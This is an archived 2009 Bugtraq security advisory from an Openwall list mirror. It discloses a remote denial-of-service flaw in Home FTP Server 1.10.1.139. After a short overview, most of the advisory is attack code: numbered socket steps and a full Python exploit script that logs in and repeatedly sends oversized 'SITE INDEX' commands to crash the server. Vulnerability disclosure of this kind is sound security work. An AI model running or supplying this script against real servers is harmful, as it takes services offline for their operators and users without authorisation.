bugtraq - Home FTP Server 'SITE INDEX' Command Remote Denial of Service Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20091116153720.11163.qmail@securityfocus.com>
Date: 16 Nov 2009 15:37:20 -0000
From: zhangmc@...l.ustc.edu.cn
To: bugtraq@...urityfocus.com
Subject: Home FTP Server 'SITE INDEX' Command Remote Denial of Service
 Vulnerability

Date of Discovery: 16-Nov-2009

Credits:zhangmc[at]mail.ustc.edu.cn

Vendor: Ari Pikivirta
	http://downstairs.dnsalias.net/homeftpserver.html

Affected:
Home FTP Server 1.10.1.139
Earlier versions may also be affected

Overview:
Home FTP Server FTP Server is an easy use FTP server Application. Denial of service 

vulnerability exists in Home FTP Server that causes the application to stop service when we 

send multiple irregular "SITE INDEX" commands to the server.

Details:
If you could log on the server successfully, take the following steps and the application 

will stop service:

1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.for i in range(1,20):
         sock.send("SITE INDEX "+ "a"*30*i +"\r\n")
5.sock.close()


Severity:
High

Exploit example:

#!/usr/bin/python
import socket
import sys

def Usage():
    print ("Usage:  ./expl.py <serv_ip>      <Username> <password>\n")
    print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n")
if len(sys.argv) <> 4:
        Usage()
        sys.exit(1)
else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    test_string="a"*30
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    for i in range(1,30):
        try:
            sock.connect((hostname, 21))
        except:
            print ("Connection error!")
            sys.exit(1)
        r=sock.recv(1024)
        print "[+] "+ r
        sock.send("user %s\r\n" %username)
        print "[-] "+ ("user %s\r\n" %username)
        r=sock.recv(1024)
        print "[+] "+ r
        sock.send("pass %s\r\n" %passwd)
        print "[-] "+ ("pass %s\r\n" %passwd)
        r=sock.recv(1024)
        print "[+] "+ r

 
        for i in range(1,20):
            sock.send("SITE INDEX "+ test_string*i +"\r\n")
            print "[-] "+ ("SITE INDEX "+ test_string +"\r\n")
            r=sock.recv(1024)
            print "[+] "+ r
            
        sock.close()
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
       
    sys.exit(0);